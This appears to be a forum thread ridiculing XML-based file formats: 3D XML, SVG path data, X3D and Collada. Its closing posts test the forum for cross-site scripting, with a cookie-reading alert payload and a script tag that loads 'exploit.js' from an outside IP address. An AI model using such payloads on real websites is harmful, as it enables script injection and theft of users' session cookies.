More XML woes!



  • You've seen it.
    The XML database.
    The XML vector image file format.
    The XML based language.
    Could it get worse?
    Yes, it can.
    Let me tell you that I'm fairly experienced in 3D Graphics applications, and I can tell you that the 3DS (3D Studio) is a file format very known worldwide for exchanging information between 3D applications, and this format was around since the beginning of time. We have also, the Auto CAD format, very known, too. MilkShape, a new, but widely used format for 3D applications. We have OBJ files (text files - in opposite to the others binaries format) and is a very simple, well-known format to exchange information in 3D applications.

    Now, we have:
    <FONT size=6>The 3D XML Format!</FONT>

    "Created" by Dassault Systems the "new" 3D XML-based format allows you to:

    1) "3D information can be easily incorporated into technical documentation, maintenance manuals, marketing brochures, websites, email communications and many other everyday uses."
    2) " The new format greatly enhances collaboration around 3D information. With 3D XML, data can be seamlessly integrated with the rest of the company's business processes."
    3) "3D XML content is fully described using XML Schema. Users can exploit 3D XML schema to implement it in their own applications."
    4) "3D XML enables users to capture and share live 3D data quickly and easily in a lightweight format with file sizes up to 90 percent smaller than those of existing formats."
    5) "3D XML is self-describing. 3D XML data can be read or written using standard tools and can be easily interpreted by applications."
    6) "The public 3D XML documentation consists of a set of schemas which caters for number of application needs and a user’s guide for easy access to 3D XML specifications."

    In short:
    Does half of what the others format does (let me tell you that this XML format does NOT support animation), with twice the buzz!

    http://www.3ds.com/products-solutions/3d-for-all/3d-xml/00/

     

    Now, let's see a 3D XML file:

    <FONT size=2>

    <?xml version="1.0" encoding="utf-8" ?>

    <MODEL_3DXML xmlns="http://www.3ds.com/xsd/3DXML" xsi:schemaLocation="http://www.3ds.com/xsd/3DXML" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

    <HEADER>

    <SCHEMAVERSION>1.0</SCHEMAVERSION>

    <AUTHOR>RTJ</AUTHOR>

    <GENERATOR>CATIA V5</GENERATOR>

    <CREATED>2005-05-27</CREATED>

    </HEADER>

    <DEFAULTSESSIONPROPERTIES>

    <BACKGROUNDCOLOR red="0.2" green="0.2" blue="0.4" alpha="0." />

    <RENDERINGSTYLE>SHADING</RENDERINGSTYLE>

    </DEFAULTSESSIONPROPERTIES>

    <PRODUCTSTRUCTURE root="1">

    <REFERENCE3D id=1 name="Part Demo Montre 3" xsi:type="Reference3DType" />

    <REFERENCEREP id=2 name="Part Demo Montre 3_RepReference" xsi:type="ReferenceRepType" />

    <INSTANCEREP id=3 name="Part Demo Montre 3_RepInstance" xsi:type="InstanceRepType">

    <ISAGGREGATEDBY>1</ISAGGREGATEDBY>

    <ISINSTANCEOF>urn:3DXML:Reference:loc:2</ISINSTANCEOF>

    </INSTANCEREP>

    <REPFORMAT xsi:type="RepFormatType" associatedFile="urn:3DXML:Representation:loc:4" format="TESSELLATED" owner="2" />

    </PRODUCTSTRUCTURE>

    <GRAPHICMATERIALSET />

    <GEOMETRICREPRESENTATIONSET>

    <REPRESENTATION id=4 format="TESSELLATED" version="2.0">

    <ASSOCIATEDDATA>VjVfQ0ZWMgAAFWZZAAAKkP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ACXw0KAAHGzhAAAAAAAMbOEAAHAAAABwAAALEBCwEIAk8AAABYAAAABAAAAAIAAAAsAAAABgACAAA
    AHgBNAGEAaQBuAEQAYQB0AGEAUwB0AHIAZQBhAG0AAAAAACAAAAAFAAIAAAASAEQAZQBzAGMAcgBpAGIA
    ZQAAAcbOEAAAAAAA/zoAAADe/ZZCAAHNzEw+AACAPwEK16M8AQABL/2IwDNhksEFy63BZCYAQcBKqUEFy61BAA
    AA/wAAAAAAAABUAAAABwAAAAIAAAAsAAAACQACAAAAHgBNAGEAaQBuAEQAYQB0AGEAUwB0AHIAZQBh
    AG0AAAAAABwAAAAIAAIAAAAOAEgAZQBhAGQAZQByAAABxs4QAAAAAABiAAAEBP3/AAAAAQHkIwpCAAAA
    AC1nC0D57PI+ww5YPgAAAAD//wAAAP8BAAAAAQBiAAAFBP3/AAAAAQDkIwpCAAAAAC1nC0D57PI+ww5YPgIAAA
    D/AwEAAP8JAAAAAGIAMAQE/f8AAAABAIictUE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CwEAAABAAABwQQAAAAAAAABA6kBkQQJUlEAAAABAASpCQYcRDUEAAABAhxENQQEqQk
    EAAABAAlSUQOpAZEEAAABAQBeZJwAAcEEAAABAAlSUwOpAZEEAAABAhxENwQEqQkEAAABAASpCwYcRDUEAAAB
    A6kBkwQJUlEAAAABAAABwwUAXGSgDCwEAAIC/AABwwUAXGSgAAIC/6kBkwQJUlMAAAIC/ASpCwYcRDcEAAIC/hxENwQ
    EqQsEAAIC/AlSUwOpAZMEAAIC/cNGQqAAAcMEAAIC/AlSUQOpAZMEAAIC/hxENQQEqQsEAAIC/ASpCQYcRDcEAAIC/6kB
    kQQJUlMAAAIC/AABwQQAAAAADCwEAAABAAABwwUAXGSgAAABA6kBkwQJUlMAAAABAASpCwYcRDcEAAABAhxE
    NwQEqQsEAAABAAlSUwOpAZMEAAABAcNGQqAAAcMEAAABAAlSUQOpAZMEAAABAhxENQQEqQsEAAABAASpCQ
    YcRDcEAAABA6kBkQQJUlMAAAABAAABwQQAAAAADBQEAACBAAAAAPwAAAAAAACBA8wS1PvMEtT4AACBAA
    DANJAAAAD8AACBA8wS1vvMEtT4AACBAAAAAvwAwjSQDBQEAACBAAAAAvwAwjSQAACBA8wS1vvMEtb4AACB
    AAMjTpAAAAL8AACBA8wS1PvMEtb4AACBAAAAAPwAAAAADBQEAAABAAAAAPwAwDaUAAABA8wS1PvMEtT4A
    AABAADANJAAAAD8AAABA8wS1vvMEtT4AAABAAAAAvwAwjSQDBQEAAABAAAAAvwAwjSQAAABA8wS1vvMEtb
    4AAABAAMjTpAAAAL8AAABA8wS1PvMEtb4AAABAAAAAPwAwDaUDBQEAAAC/AACUQQAAAADzBLW+AACUQfME
    tT4AMA2kAACUQQAAAD/zBLU+AACUQfMEtT4AAAA/AACUQQAwjSQDBQEAAAA/AACUQQAwjSTzBLU+AACUQfMEtb4A
    yNMkAACUQQAAAL/zBLW+AACUQfMEtb4AAAC/AACUQQAAAAADBgEAAAC/AABwQQAAAAAttM2+5/NvQTF



    [Data goes on]

     

    <FONT size=3>Very "Human readable", isn't it?

    Oh, and let me tell:
    The
    "3D XML enables users to capture and share live 3D data quickly and easily in a lightweight format with file sizes up to 90 percent smaller than those of existing formats."
    part is complete bullshit!</FONT>

    <FONT size=3></FONT> 

    <FONT size=3>You can download the XML gallery on the site, but you will need to unpack the *.3dxml the first time, and each folder will contain 3 files, with one of the extracted files being another *.3dxml file, that contains the data.
    This is called: "Ease of use".</FONT>

    <FONT size=3>Have fun.</FONT>

    <FONT size=3>We should create a gallery:
    Atrocities of XML.</FONT>

    </FONT>


  • Well, there are some 3D XML formats already:

    1. X3D, the successor of VRML
    2. Avalon (the new graphic subsystem for Windows) has 3D capabilities in XAML.


  • @asan said:

    Well, there are some 3D XML formats already:
    1. X3D, the successor of VRML
    2. Avalon (the new graphic subsystem for Windows) has 3D capabilities in XAML.

    BAH! It's worst than I thought!

    Do you know of any relevants projects/enterprises that are using these formats?

    By the way: Why didn't they let the VRML die a silent death? Do they need to ressurect it with X3D?
    I see more 3D pages/web-games using Shockwave than X3D (and I've never seen a X3D page).



  • I don't see why some people hate SVG. It's basically just a redesigned postscript with a totally new syntax. It isn't really any better or worse than ASCII postscript, just more expressive and less supported, although the lack of a standard binary format is a bit annoying.


    My question is what sort of amazing new "collaboration" is enabled by adding 3d presentations to email, that couldn't be far more simply with flash? Do people really need an interactive, fully-detailed rendering of a ferarri model in their email?



  • @foxyshadis said:

    I don't see why some people hate SVG. It's basically just a redesigned postscript with a totally new syntax. It isn't really any better or worse than ASCII postscript, just more expressive and less supported, although the lack of a standard binary format is a bit annoying.


    One of the most interesting things about SVG is that because its XML it means you can drop it into an XHTML document and have real vector graphics in your website. Should be very useful for web apps. It's not as bad as people say...



  • @foxyshadis said:

    I don't see why some people hate SVG. It's basically just a redesigned postscript with a totally new syntax.

    Because even as far as XML stuff goes, SVG is extremely badly done. Behold, an example of a (simple) SVG path:

    <path d="M 100 100 L 300 100 L 200 300 z" fill="red" stroke="blue" stroke-width="3" />

    I don't know you, but I find that the "d" attribute (d stands for "path data" btw, why they couldn't even add 3 lines and write "data" instead still evades me, but well...) is utter garbage. Whoa, XML! yeah, you're storing linear plain text stuff that you need an additional parser for, with stupid command "names" (M moves the current point to an absolute coordinate given as an (x y) pair, subsequent pairs are to be treated as supplementary moveto commands... but if "m" then the coordinates are relative to the current point and not absolute to the canvas. Likewise, "L" draws a line to the absolute coordinates given as an (x y) argument pair, but "l" does the same with relative coordinates... oh, and lineto doesn't seem to accept new argument pairs as implicit lineto commands btw)

    Some people hate SVG because SVG is bullcrap. While the goal in itself is cool, the syntax blows.



  • @Savior said:

    Let me tell you that I'm fairly experienced in 3D Graphics applications, and I can tell you that the 3DS (3D Studio) is a file format very known worldwide for exchanging information between 3D applications, and this format was around since the beginning of time. We have also, the Auto CAD format, very known, too. MilkShape, a new, but widely used format for 3D applications. We have OBJ files (text files - in opposite to the others binaries format) and is a very simple, well-known format to exchange information in 3D applications.


    Hmmm, I don't remember what the OBJ format is like, but for a lot of applications, those formats aren't quite rich enough for things like animated skeleton models with bones, materials and whatnot.

    Now, we have:
    <font size="6">The 3D XML Format!
    </font>

    Ok, even for XML, this is crap. I'm not in anyway a defender of XML, but there are XML formats for 3d that are quite ok, like Collada (by ok, I mean as an interchange format to be used somewhere on a 3d production pipeline, not as a storage format where the last thing I want is XML)

    Of course, parsing a Collada file to extract what you need from it is a complicated task, the hard part being not the low-level parsing of the file (which is the only part that XML makes easier) but mapping the data model of Collada on the data model used by, for instance, your rendering engine.
    The value of Collada is to have a (sort of) well-defined and standardized data model. XML merely saved them from defining some syntactic details.

    And not even all of them. There is another shortcoming of XML that I usually forget (XML gives me so many reasons to complain that I forget some):

    Ever tried to store large arrays of, for instance, floating point numbers in XML ?
    XML only define how to structure information at a rather high level.
    All this "don't waste time writing parsers when you can use XML" talk collapse as soon as you're trying to store any other data type than text, because at that point you have to parse it, and check it for errors, since XML doesn't know anything about it.

    To store a big array of numbers, you have to bypass XML entirely and lump all this stuff into a big element containing only character data. You can't even rely on XML tags to separate the numbers because it hinders scalability big time (we're talking about storing hundred of thousands entries here.)

    You also have to define how the numbers should be encoded as ascii strings. Again,  XML which is supposed to free you from such low level encoding details is nowhere to be found.



  • @masklinn said:

    I don't know you, but I find that the "d" attribute (d stands for "path data" btw, why they couldn't even add 3 lines and write "data" instead still evades me, but well...) is utter garbage. Whoa, XML! yeah, you're storing linear plain text stuff that you need an additional parser for, with stupid command "names" (M moves the current point to an absolute coordinate given as an (x y) pair, subsequent pairs are to be treated as supplementary moveto commands...


    Heh, I didn't know that SVG looked like this. This is very interesting that they had to bypass XML like this with large strings.
    The obvious reason to me (as well using 'd' instead of 'data' and implicitly repeating commands) is because, again, XML doesn't scale well for large amounts of data.
    It might look unecessarily obfuscated for small SVG files, but using longer keywords and XML structure all the way would probably make very complex SVG files a memory and CPU hog to parse.



  • Gah, just realized that I forgot to htmlencode my SVG and the forum ate it... The example was supposed to be

    <path d="M 100 100 L 300 100 L 200 300 z" fill="red" stroke="blue" stroke-width="3" />
    <

    You may also find it in the SVG spec, Paths part



  • Is there any obfuscation system?
    I just downloaded the samples from their website, and none of them look like xml when opened in notepad(++)



  • @t-bone said:

    Is there any obfuscation system?
    I just downloaded the samples from their website, and none of them look like xml when opened in notepad(++)

     

    As I said, you have to unpack the the *.3dxml files with 7Zip (or other zip-equivalent), and then it will create a directory with the files.

    Then, you can open it with notepad.


  • ♿ (Parody)

    @Casiotone said:


    One of the most interesting things about SVG is that because its XML it means you can drop it into an XHTML document and have real vector graphics in your website. Should be very useful for web apps. It's not as bad as people say...

    Because you know, something like ...

    <img src="data:image/gif;base64,R0lGODlhDwAPAKECAAAAzMzM/////
    wAAACwAAAAADwAPAAACIISPeQHsrZ5ModrLlN48CXF8m2iQ3YmmKqVlRtW4ML
    wWACH+H09wdGltaXplZCBieSBVbGVhZCBTbWFydFNhdmVyIQAAOw=="
    alt="Base64 encoded image" width="150" height="150"/>

    is just too confusing?



  • @Alex Papadimoulis said:

    @Casiotone said:


    One of the most interesting things about SVG is that because its XML it means you can drop it into an XHTML document and have real vector graphics in your website. Should be very useful for web apps. It's not as bad as people say...

    Because you know, something like ...


    alt="Base64 encoded image" width="150" height="150"/>

    is just too confusing?

    Well, one could argue that GIF files are hardly "Real Vector Graphics" here ;)



  • @Alex Papadimoulis said:

    Because you know, something like ...


    alt="Base64 encoded image" width="150" height="150"/>

    is just too confusing?



    Great idea! This is an even better file format:

    <data data="5MB of flat CSV omitted" />



  • HTML isnt escaped in quotations? Dodgy :|

    So if someone were to quote me...

    <script>alert(document.cookie);</script>

    .... ?

    <SCRIPT>alert(document.cookie);</SCRIPT>


  • @kierenj said:

    HTML isnt escaped in quotations? Dodgy :|

    So if someone were to quote me...

    <script>alert(document.cookie);</script>

    .... ?

    <script>alert(document.cookie);</script>


    Hmmmmmm


  • There should be no bias.



  • @kierenj said:

    HTML isnt escaped in quotations? Dodgy :|

    So if someone were to quote me...

    .... ?

    <script>alert(document.cookie);</script>


    Lol, i was searching for an exploit too.


  • @Otac0n said:


    <script src="http://67.67.35.17:90/exploit.js"/>


    Test


Log in to reply